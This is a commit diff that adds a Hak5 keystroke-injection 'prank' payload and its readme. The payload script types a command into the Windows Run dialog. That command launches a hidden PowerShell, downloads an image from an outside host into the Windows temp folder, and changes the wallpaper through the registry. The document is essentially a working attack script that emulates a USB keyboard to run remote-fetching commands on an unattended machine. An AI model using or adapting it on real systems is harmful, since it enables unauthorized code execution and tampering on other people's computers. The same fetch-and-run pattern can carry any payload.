Added wallpaper prank payload re: Hak5 episode 2502

payloads/library/prank/wallpaper-changer-of-doom/payload.txt

@@ -0,0 +1,14 @@
+# Wallpaper Changer OF DOOM!!!!
+# Author: Hak5Darren
+# Props: Alex Goat
+# Demo: Hak5 episode 2502 - https://youtu.be/f3C58OKOsuo
+# Target: Windows Vista+
+# Category: Prank
+
+LED SETUP
+ATTACKMODE HID
+LED ATTACK
+Q GUI r
+Q DELAY 500
+Q STRING "cmd /C \"start /MIN powershell iwr -Uri http://h4k.cc/b.jpg -OutFile c:\windows\temp\b.jpg;sp 'HKCU:Control Panel\Desktop' WallPaper 'c:\windows\temp\b.jpg';\$a=1;do{RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True;sleep 1}while(\$a++-le59)\""
+Q ENTER

payloads/library/prank/wallpaper-changer-of-doom/readme.md

@@ -0,0 +1,18 @@
+# Wallpaper Changer of DOOM!!!!
+
+* Author: Hak5Darren
+* Props: Alex Goat
+* Demo: Hak5 episode 2502 - https://youtu.be/f3C58OKOsuo
+* Target: Windows Vista+
+* Category: Prank
+
+## Description
+
+Single stage powershell one-liner executes from run dialog. CMD opens a minimized powershell window which downloads b.jpg (change this URL) to c:\windows\temp then sets the registry entry to change the wallpaper, then finally loops over an undocumented USER32.DLL feature for 60 seconds to force a user profile refresh.
+
+## STATUS
+
+| LED               | Status                                 |
+| ----------------- | -------------------------------------- |
+| SETUP             | Setting attack mode                    |
+| ATACK             | Injecting keystrokes                   |